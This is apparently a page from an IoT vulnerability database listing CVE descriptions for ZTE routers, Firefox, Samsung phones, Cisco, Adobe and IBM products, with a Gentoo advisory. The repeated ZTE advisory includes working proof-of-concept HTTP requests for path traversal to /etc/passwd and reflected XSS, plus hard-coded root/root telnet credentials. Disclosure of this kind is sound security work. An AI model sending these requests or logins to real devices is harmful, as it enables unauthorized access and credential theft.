VARIoT IoT vulnerabilities database

ZTE ZXHN H108N R1A devices before ZTE.bhs.ZXHNH108NR1A.k_PE allow remote attackers to discover usernames and password hashes by reading the cgi-bin/webproc HTML source code, a different vulnerability than CVE-2015-8703. ZTE ZXHN H108N R1A router, version ZTE.bhs.ZXHNH108NR1A.h_PE, and ZXV10 W300 router, version W300V1.0.0f_ER1_PE, contain multiple vulnerabilities. ZTE ZXHN H108N R1A is a wireless router product of China ZTE Corporation. ZTE ZXHN H108N R1A routers are prone to the following security vulnerabilities: 1. Multiple information-disclosure vulnerabilities 2. An authorization-bypass vulnerability 3. A directory-traversal vulnerability 4. A hard-coded credentials vulnerability 5. A cross-site scripting vulnerability Attackers can exploit these issues to gain access to the browser of an unsuspecting user and execute arbitrary script code in the context of the affected site, steal cookie-based authentication credentials, gain access to sensitive information, read arbitrary files, or bypass security restrictions and perform unauthorized actions. This may aid in further attacks. *CVE-ID*: CVE-2015-7248 CVE-2015-7249 CVE-2015-7250 CVE-2015-7251 CVE-2015-7252 *Note*: Large deployment size, primarily in Peru, used by TdP. Description *CWE-200* <https://cwe.mitre.org/data/definitions/200.html>*: Information Exposure* - CVE-2015-7248 Multiple information exposure vulnerabilities enable an attacker to obtain credentials and other sensitive details about the ZXHN H108N R1A. A. User names and password hashes can be viewed in the page source of http://<IP>/cgi-bin/webproc PoC: Login Page source contents: ...snip.... //get user info var G_UserInfo = new Array(); var m = 0; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "admin"; //UserName G_UserInfo[m][1] = "$1$Tsnipped/; //Password Hash seen here G_UserInfo[m][2] = "1"; //Level G_UserInfo[m][3] = "1"; //Index m++; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "user"; //UserName G_UserInfo[m][1] = "$1$Tsnipped"; //Password Hash seen here G_UserInfo[m][2] = "2"; //Level G_UserInfo[m][3] = "2"; //Index m++; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "support"; //UserName G_UserInfo[m][1] = "$1$Tsnipped"; //Password Hash seen here G_UserInfo[m][2] = "2"; //Level G_UserInfo[m][3] = "3"; //Index m++; ...snip... B. The configuration file of the device contains usernames, passwords, keys, and other values in plain text, which can be used by a user with lower privileges to gain admin account access. This issue also affects ZTE ZXV10 W300 models, version W300V1.0.0f_ER1_PE. *CWE-285* <https://cwe.mitre.org/data/definitions/285.html>*: Improper Authorization* - CVE-2015-7249 By default, only admin may authenticate directly with the web administration pages in the ZXHN H108N R1A. By manipulating parameters in client-side requests, an attacker may authenticate as another existing account, such as user or support, and may be able to perform actions otherwise not allowed. PoC 1: 1. Login page user drop-down option shows only admin only. 2. Use an intercepting proxy / Tamper Data - and intercept the Login submit request. 3. Change the username admin to user / support and continue Login. 4. Application permits other users to log in to mgmt portal. PoC 2: After logging in as support, some functional options are visibly restricted. Certain actions can still be performed by calling the url directly. Application does not perform proper AuthZ checks. Following poc is a change password link. It is accessible directly, though it (correctly) is restricted to changing normal user (non-admin) password only. http:// <IP>/cgi-bin/webproc?getpage=html/index.html&var:menu=maintenance&var:page=accessctrl&var:subpage=accountpsd Other functions / pages may also be accessible to non-privileged users. *CWE-22* <http://cwe.mitre.org/data/definitions/22.html>*: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *- CVE-2015-7250 The webproc cgi module of the ZXHN H108N R1A accepts a getpage parameter which takes an unrestricted file path as input, allowing an attacker to read arbitrary files on the system. Arbitrary files can be read off of the device. No authentication is required to exploit this vulnerability. PoC HTTP POST request POST /cgi­bin/webproc HTTP/1.1 Host: IP User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept­Language: en­US,en;q=0.5 Accept­Encoding: gzip, deflate Referer: https://IP/cgi­bin/webproc Cookie: sessionid=7ce7bd4a; language=en_us; sys_UserName=admin Connection: keep­alive Content­Type: application/x­www­form­urlencoded Content­Length: 177 getpage=html%2Findex.html&errorpage=%2fetc%2fpasswd&var%3Amenu=setup&var%3Apage=wancfg&obj­ action=auth&%3Ausername=admin&%3Apassword=admin&%3Aaction=login&%3Asessionid=7ce7bd4a HTTP Response HTTP/1.0 200 OK Content­type: text/html Pragma: no­cache Cache­Control: no­cache set­cookie: sessionid=7ce7bd4a; expires=Fri, 31­Dec­9999 23:59:59 GMT;path=/ #root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/sh #tw:x:504:504::/home/tw:/bin/bash #tw:x:504:504::/home/tw:/bin/msh *CWE-798* <http://cwe.mitre.org/data/definitions/798.html>*: Use of Hard-coded Credentials* - CVE-2015-7251 In the ZXHN H108N R1A, the Telnet service, when enabled, is accessible using the hard-coded credentials 'root' for both the username and password. *CWE-79* <https://cwe.mitre.org/data/definitions/79.html>*: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *- CVE-2015-7252 In the ZXHN H108N R1A, the errorpage parameter of the webproc cgi module is vulnerable to reflected cross-site scripting [pre-authentication]. PoC POST /cgi­bin/webproc HTTP/1.1 Host: IP User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept­Language: en­US,en;q=0.5 Accept­Encoding: gzip, deflate Referer: https://IP/cgi­bin/webproc Cookie: sessionid=7ce7bd4a; language=en_us; sys_UserName=admin Connection: keep­alive Content­Type: application/x­www­form­urlencoded Content­Length: 177 getpage=html%2Findex.html&*errorpage*=html%2fmain.html<script>alert(1)</script>&var%3Amenu=setup&var%3Apage=wancfg&obj­ action=auth&%3Ausername=admin&%3Apassword=admin&%3Aaction=login&%3Asessionid=7ce7bd4a +++++ -- Best Regards, Karn Ganeshen

ZTE ZXHN H108N R1A devices before ZTE.bhs.ZXHNH108NR1A.k_PE allow remote authenticated users to bypass intended access restrictions via a modified request, as demonstrated by leveraging the support account to change a password via a cgi-bin/webproc accountpsd action. ZTE ZXHN H108N R1A router, version ZTE.bhs.ZXHNH108NR1A.h_PE, and ZXV10 W300 router, version W300V1.0.0f_ER1_PE, contain multiple vulnerabilities. ZTE ZXHN H108N R1A A vulnerability exists in the device that prevents access restrictions. ZTE ZXHN H108N R1A is a wireless router product of China ZTE Corporation. ZTE ZXHN H108N R1A ZTE.bhs.ZXHNH108NR1A.h_PE has a security vulnerability that allows a remote attacker to authenticate with an existing account by operating the parameters in the client-side request and perform unauthorized operations. ZTE ZXHN H108N R1A routers are prone to the following security vulnerabilities: 1. Multiple information-disclosure vulnerabilities 2. An authorization-bypass vulnerability 3. A directory-traversal vulnerability 4. A hard-coded credentials vulnerability 5. A cross-site scripting vulnerability Attackers can exploit these issues to gain access to the browser of an unsuspecting user and execute arbitrary script code in the context of the affected site, steal cookie-based authentication credentials, gain access to sensitive information, read arbitrary files, or bypass security restrictions and perform unauthorized actions. This may aid in further attacks. *CVE-ID*: CVE-2015-7248 CVE-2015-7249 CVE-2015-7250 CVE-2015-7251 CVE-2015-7252 *Note*: Large deployment size, primarily in Peru, used by TdP. Description *CWE-200* <https://cwe.mitre.org/data/definitions/200.html>*: Information Exposure* - CVE-2015-7248 Multiple information exposure vulnerabilities enable an attacker to obtain credentials and other sensitive details about the ZXHN H108N R1A. A. User names and password hashes can be viewed in the page source of http://<IP>/cgi-bin/webproc PoC: Login Page source contents: ...snip.... //get user info var G_UserInfo = new Array(); var m = 0; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "admin"; //UserName G_UserInfo[m][1] = "$1$Tsnipped/; //Password Hash seen here G_UserInfo[m][2] = "1"; //Level G_UserInfo[m][3] = "1"; //Index m++; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "user"; //UserName G_UserInfo[m][1] = "$1$Tsnipped"; //Password Hash seen here G_UserInfo[m][2] = "2"; //Level G_UserInfo[m][3] = "2"; //Index m++; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "support"; //UserName G_UserInfo[m][1] = "$1$Tsnipped"; //Password Hash seen here G_UserInfo[m][2] = "2"; //Level G_UserInfo[m][3] = "3"; //Index m++; ...snip... B. The configuration file of the device contains usernames, passwords, keys, and other values in plain text, which can be used by a user with lower privileges to gain admin account access. This issue also affects ZTE ZXV10 W300 models, version W300V1.0.0f_ER1_PE. *CWE-285* <https://cwe.mitre.org/data/definitions/285.html>*: Improper Authorization* - CVE-2015-7249 By default, only admin may authenticate directly with the web administration pages in the ZXHN H108N R1A. PoC 1: 1. Login page user drop-down option shows only admin only. 2. Use an intercepting proxy / Tamper Data - and intercept the Login submit request. 3. Change the username admin to user / support and continue Login. 4. Application permits other users to log in to mgmt portal. PoC 2: After logging in as support, some functional options are visibly restricted. Certain actions can still be performed by calling the url directly. Application does not perform proper AuthZ checks. Following poc is a change password link. It is accessible directly, though it (correctly) is restricted to changing normal user (non-admin) password only. http:// <IP>/cgi-bin/webproc?getpage=html/index.html&var:menu=maintenance&var:page=accessctrl&var:subpage=accountpsd Other functions / pages may also be accessible to non-privileged users. *CWE-22* <http://cwe.mitre.org/data/definitions/22.html>*: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *- CVE-2015-7250 The webproc cgi module of the ZXHN H108N R1A accepts a getpage parameter which takes an unrestricted file path as input, allowing an attacker to read arbitrary files on the system. Arbitrary files can be read off of the device. No authentication is required to exploit this vulnerability. PoC HTTP POST request POST /cgi­bin/webproc HTTP/1.1 Host: IP User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept­Language: en­US,en;q=0.5 Accept­Encoding: gzip, deflate Referer: https://IP/cgi­bin/webproc Cookie: sessionid=7ce7bd4a; language=en_us; sys_UserName=admin Connection: keep­alive Content­Type: application/x­www­form­urlencoded Content­Length: 177 getpage=html%2Findex.html&errorpage=%2fetc%2fpasswd&var%3Amenu=setup&var%3Apage=wancfg&obj­ action=auth&%3Ausername=admin&%3Apassword=admin&%3Aaction=login&%3Asessionid=7ce7bd4a HTTP Response HTTP/1.0 200 OK Content­type: text/html Pragma: no­cache Cache­Control: no­cache set­cookie: sessionid=7ce7bd4a; expires=Fri, 31­Dec­9999 23:59:59 GMT;path=/ #root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/sh #tw:x:504:504::/home/tw:/bin/bash #tw:x:504:504::/home/tw:/bin/msh *CWE-798* <http://cwe.mitre.org/data/definitions/798.html>*: Use of Hard-coded Credentials* - CVE-2015-7251 In the ZXHN H108N R1A, the Telnet service, when enabled, is accessible using the hard-coded credentials 'root' for both the username and password. *CWE-79* <https://cwe.mitre.org/data/definitions/79.html>*: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *- CVE-2015-7252 In the ZXHN H108N R1A, the errorpage parameter of the webproc cgi module is vulnerable to reflected cross-site scripting [pre-authentication]. PoC POST /cgi­bin/webproc HTTP/1.1 Host: IP User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept­Language: en­US,en;q=0.5 Accept­Encoding: gzip, deflate Referer: https://IP/cgi­bin/webproc Cookie: sessionid=7ce7bd4a; language=en_us; sys_UserName=admin Connection: keep­alive Content­Type: application/x­www­form­urlencoded Content­Length: 177 getpage=html%2Findex.html&*errorpage*=html%2fmain.html<script>alert(1)</script>&var%3Amenu=setup&var%3Apage=wancfg&obj­ action=auth&%3Ausername=admin&%3Apassword=admin&%3Aaction=login&%3Asessionid=7ce7bd4a +++++ -- Best Regards, Karn Ganeshen

The accessibility-tools feature in Mozilla Firefox before 42.0 on OS X improperly interacts with the implementation of the TABLE element, which allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code by using an NSAccessibilityIndexAttribute value to reference a row index. Supplementary information : CWE Vulnerability type by CWE-17: Code ( code ) Has been identified. Mozilla Firefox is prone to the following vulnerabilities: 1. Multiple information-disclosure vulnerabilities 2. Multiple security-bypass vulnerabilities 3. A privilege escalation vulnerability 4. A denial-of-service vulnerability Attackers can exploit these issues to bypass security restrictions, obtain sensitive information and gain elevated privileges. Failed exploit attempts will likely result in denial-of-service conditions. Versions prior to Firefox 42 are vulnerable. Mozilla Firefox on OS X is an open source web browser based on the OS X platform of the Mozilla Foundation of the United States. There is a security vulnerability in the accessibility-tools function in Mozilla Firefox 42.0.2 and earlier versions based on the OS X platform. The vulnerability stems from the fact that the program does not interact correctly with the TABLE element. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201512-10 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - https://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Mozilla Products: Multiple vulnerabilities Date: December 30, 2015 Bugs: #545232, #554036, #556942, #564818, #568376 ID: 201512-10 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple vulnerabilities have been found in Mozilla Firefox and Thunderbird, the worst of which may allow user-assisted execution of arbitrary code. Background ========== Mozilla Firefox is an open-source web browser and Mozilla Thunderbird an open-source email client, both from the Mozilla Project. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 www-client/firefox < 38.5.0 >= 38.5.0 2 www-client/firefox-bin < 38.5.0 >= 38.5.0 3 mail-client/thunderbird < 38.5.0 >= 38.5.0 4 mail-client/thunderbird-bin < 38.5.0 >= 38.5.0 ------------------------------------------------------------------- 4 affected packages Description =========== Multiple vulnerabilities have been discovered in Mozilla Firefox and Mozilla Thunderbird. Please review the CVE identifiers referenced below for details. Impact ====== A remote attacker could entice a user to view a specially crafted web page or email, possibly resulting in execution of arbitrary code or a Denial of Service condition. Workaround ========== There is no known workaround at this time. Resolution ========== All Firefox users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=www-client/firefox-38.5.0" All Firefox-bin users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=www-client/firefox-bin-38.5.0" All Thunderbird users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=mail-client/thunderbird-38.5.0"= All Thunderbird-bin users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot -v ">=mail-client/thunderbird-bin-38.5.0" References ========== [ 1 ] CVE-2015-0798 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0798 [ 2 ] CVE-2015-0799 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0799 [ 3 ] CVE-2015-0801 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0801 [ 4 ] CVE-2015-0802 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0802 [ 5 ] CVE-2015-0803 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0803 [ 6 ] CVE-2015-0804 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0804 [ 7 ] CVE-2015-0805 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0805 [ 8 ] CVE-2015-0806 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0806 [ 9 ] CVE-2015-0807 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0807 [ 10 ] CVE-2015-0808 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0808 [ 11 ] CVE-2015-0810 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0810 [ 12 ] CVE-2015-0811 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0811 [ 13 ] CVE-2015-0812 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0812 [ 14 ] CVE-2015-0813 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0813 [ 15 ] CVE-2015-0814 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0814 [ 16 ] CVE-2015-0815 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0815 [ 17 ] CVE-2015-0816 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0816 [ 18 ] CVE-2015-2706 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2706 [ 19 ] CVE-2015-2721 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2721 [ 20 ] CVE-2015-2722 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2722 [ 21 ] CVE-2015-2724 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2724 [ 22 ] CVE-2015-2725 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2725 [ 23 ] CVE-2015-2726 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2726 [ 24 ] CVE-2015-2727 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2727 [ 25 ] CVE-2015-2728 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2728 [ 26 ] CVE-2015-2729 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2729 [ 27 ] CVE-2015-2730 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2730 [ 28 ] CVE-2015-2731 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2731 [ 29 ] CVE-2015-2733 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2733 [ 30 ] CVE-2015-2734 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2734 [ 31 ] CVE-2015-2735 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2735 [ 32 ] CVE-2015-2736 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2736 [ 33 ] CVE-2015-2737 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2737 [ 34 ] CVE-2015-2738 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2738 [ 35 ] CVE-2015-2739 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2739 [ 36 ] CVE-2015-2740 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2740 [ 37 ] CVE-2015-2741 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2741 [ 38 ] CVE-2015-2742 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2742 [ 39 ] CVE-2015-2743 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2743 [ 40 ] CVE-2015-2808 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-2808 [ 41 ] CVE-2015-4000 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-4000 [ 42 ] CVE-2015-4495 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-4495 [ 43 ] CVE-2015-4513 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-4513 [ 44 ] CVE-2015-4514 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-4514 [ 45 ] CVE-2015-4515 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-4515 [ 46 ] CVE-2015-4518 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-4518 [ 47 ] CVE-2015-7181 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7181 [ 48 ] CVE-2015-7182 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7182 [ 49 ] CVE-2015-7183 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7183 [ 50 ] CVE-2015-7187 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7187 [ 51 ] CVE-2015-7188 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7188 [ 52 ] CVE-2015-7189 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7189 [ 53 ] CVE-2015-7191 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7191 [ 54 ] CVE-2015-7192 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7192 [ 55 ] CVE-2015-7193 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7193 [ 56 ] CVE-2015-7194 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7194 [ 57 ] CVE-2015-7195 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7195 [ 58 ] CVE-2015-7196 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7196 [ 59 ] CVE-2015-7197 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7197 [ 60 ] CVE-2015-7198 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7198 [ 61 ] CVE-2015-7199 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7199 [ 62 ] CVE-2015-7200 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7200 [ 63 ] CVE-2015-7201 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7201 [ 64 ] CVE-2015-7202 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7202 [ 65 ] CVE-2015-7203 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7203 [ 66 ] CVE-2015-7204 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7204 [ 67 ] CVE-2015-7205 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7205 [ 68 ] CVE-2015-7207 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7207 [ 69 ] CVE-2015-7208 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7208 [ 70 ] CVE-2015-7210 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7210 [ 71 ] CVE-2015-7211 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7211 [ 72 ] CVE-2015-7212 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7212 [ 73 ] CVE-2015-7213 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7213 [ 74 ] CVE-2015-7214 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7214 [ 75 ] CVE-2015-7215 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7215 [ 76 ] CVE-2015-7216 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7216 [ 77 ] CVE-2015-7217 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7217 [ 78 ] CVE-2015-7218 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7218 [ 79 ] CVE-2015-7219 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7219 [ 80 ] CVE-2015-7220 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7220 [ 81 ] CVE-2015-7221 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7221 [ 82 ] CVE-2015-7222 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7222 [ 83 ] CVE-2015-7223 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-7223 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: https://security.gentoo.org/glsa/201512-10 Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org. License ======= Copyright 2015 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5

Samsung Gallery in the Samsung Galaxy S6 allows local users to cause a denial of service (process crash). The Samsung Galaxy S6 is a smartphone released by South Korea's Samsung. An attacker could exploit a vulnerability to crash an affected application and refuse to serve legitimate users

SecEmailUI in Samsung Galaxy S6 does not sanitize HTML email content, allows remote attackers to execute arbitrary JavaScript. Samsung SecEmailUI is prone to a security vulnerability. This may aid in further attacks

Samsung Gallery on the Samsung Galaxy S6 allows local users to cause a denial of service (process crash). The Samsung Galaxy S6 is a smartphone released by South Korea's Samsung. An attacker could exploit the vulnerability to crash a device and refuse to serve legitimate users

The web interface in Cisco Unified Computing System (UCS) 2.2(5b)A on blade servers allows remote attackers to obtain potentially sensitive version information by visiting an unspecified URL, aka Bug ID CSCuw87226. Vendors have confirmed this vulnerability Bug ID CSCuw87226 It is released as.Unspecified by a third party URL By accessing, important version information may be obtained. Cisco Unified Computing System is prone to a remote information-disclosure vulnerability. Successful exploits may allow an attacker to obtain sensitive information that may lead to further attacks. This issue is tracked by Cisco Bug ID CSCuw87226. The system integrates network, computing and virtualization resources into one platform by extensively adopting virtualization technology. A security vulnerability exists in Cisco UCS Release 2.2(5b)A on Blade Server

Adobe Reader and Acrobat 10.x before 10.1.16 and 11.x before 11.0.13, Acrobat and Acrobat Reader DC Classic before 2015.006.30094, and Acrobat and Acrobat Reader DC Continuous before 2015.009.20069 on Windows and OS X allow attackers to execute arbitrary code or cause a denial of service (out-of-bounds read and memory corruption) via a crafted CMAP table in a PDF document, a different vulnerability than CVE-2015-6685, CVE-2015-6686, CVE-2015-6693, CVE-2015-6694, CVE-2015-6695, and CVE-2015-7622. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the way CMAP tables are parsed. A specially crafted CMAP table embedded in a PDF file can force Adobe Acrobat Reader to read memory past the end of an allocated object. An attacker could leverage this vulnerability to execute arbitrary code under the context of the current process. Failed exploit attempts will likely cause a denial-of-service condition. Adobe Reader, etc. are all products of Adobe (Adobe) in the United States. Adobe Reader is a free PDF file reader; Acrobat is a PDF file editing and conversion tool; Acrobat Reader DC is a set of tools for viewing, printing and annotating PDF. Classic and Continuous are two update mechanisms provided by Acrobat Reader DC Product Download Center. Security flaws exist in several Adobe products. 30060 and earlier, Acrobat XI Desktop 11.0.12 and earlier, Reader XI Desktop 11.0.12 and earlier, Acrobat X Desktop 10.1.15 and earlier, Reader X Desktop 10.1.15 and earlier

Multiple router products contain an issue in the protection against clickjacking attacks. Noriaki Iwasaki of Cyber Defense Institute, Inc. reported this vulnerability to IPA. JPCERT/CC coordinated with the developer under Information Security Early Warning Partnership.If a user views a malicious page while logged in, unintended operations may be conducted. Multiple Routers are prone to a clickjacking vulnerability because it fails to perform validity checks on certain user actions through HTTP requests. Successful exploits will allow an attacker to compromise the affected device or obtain sensitive information. Other attacks are also possible

Samsung devices with Android KK(4.4), L(5.0/5.1), or M(6.0) allow attackers to cause a denial of service (system crash) via a crafted system call to TvoutService_C. Samsumgandroidphone is a series of mobile phones based on the Android platform. The Samsumgandroid system service failed to handle exceptions correctly, allowing local attackers to conduct denial of service attacks by sending malicious service commands. Multiple Samsung Android Mobile devices are prone to a denial-of-service vulnerability. An attacker can exploit this issue to cause denial-of-service conditions

Samsung devices with Android KK(4.4) or L(5.0/5.1) allow local users to cause a denial of service (IAndroidShm service crash) via crafted data in a service call. Samsung Mobile Phone is a smart phone released by Samsung in South Korea. An attacker could use this vulnerability to cause a denial of service. The following products and versions are affected: Samsung Mobile Phones 4.4, 5.0, 5.1. Remote attackers can exploit this issue to cause a denial-of-service condition

Multiple cross-site scripting (XSS) vulnerabilities in Cisco FireSight Management Center (MC) 5.3.1.5 and 5.4.x through 5.4.1.3 allow remote authenticated users to inject arbitrary web script or HTML via unspecified parameters, aka Bug ID CSCuu28922. Cisco FireSight Management Center (MC) Contains a cross-site scripting vulnerability. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This issue is being tracked by Cisco Bug IDs CSCuu28922, CSCuv62998, and CSCuv63012

Multiple cross-site scripting (XSS) vulnerabilities in Cisco FireSight Management Center (MC) 5.4.1.3 and 6.0 allow remote authenticated users to inject arbitrary web script or HTML via unspecified parameters, aka Bug ID CSCuv73338. Cisco FireSight Management Center (MC) Contains a cross-site scripting vulnerability. Cisco FireSIGHT Management Center is prone to an HTML-injection vulnerability because it fails to properly sanitize certain unspecified user-supplied input. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. This issue is being tracked by Cisco Bug ID CSCuv73338

Cisco ASR 5500 System Architecture Evolution (SAE) Gateway devices with software 19.1.0.61559 and 19.2.0 allow remote attackers to cause a denial of service (BGP process restart) via a crafted header in a BGP packet, aka Bug ID CSCuw65781. A remote attacker exploiting this vulnerability could result in a denial of service. An attacker can exploit this issue to cause the BGP process to reload, denying service to legitimate users. This issue is being tracked by Cisco Bug ID CSCuw65781. The vulnerability is caused by the program not properly validating BGP packet headers

The GatewayScript modules on IBM DataPower Gateways with software 7.2.0.x before 7.2.0.1, when the GatewayScript decryption API or a JWE decrypt action is enabled, do not require signed ciphertext data, which makes it easier for remote attackers to obtain plaintext data via a padding-oracle attack. IBM DataPower Gateway is prone to an information-disclosure vulnerability. Attackers can exploit this issue to obtain sensitive information that may lead to further attacks. IBM DataPower Gateway is a security and integration platform specially designed for mobile, cloud, application programming interface (API), network, service-oriented architecture (SOA), B2B and cloud workloads of IBM Corporation in the United States, which can utilize a dedicated gateway The platform secures, integrates and optimizes access across channels. GatewayScript is one of the modules for handling mobile, web and API workloads and optimizing the gateway environment

The web-based GUI in Cisco Adaptive Security Appliance (ASA) CX Context-Aware Security 9.3(4.1.11) allows remote authenticated users to bypass intended access restrictions and obtain sensitive user information via an unspecified HTTP request, aka Bug ID CSCuv74105. Attackers can exploit this issue to gain unauthorized access to the affected application. This may aid in further attacks. This issue is being tracked by Cisco bug ID CSCuv74105

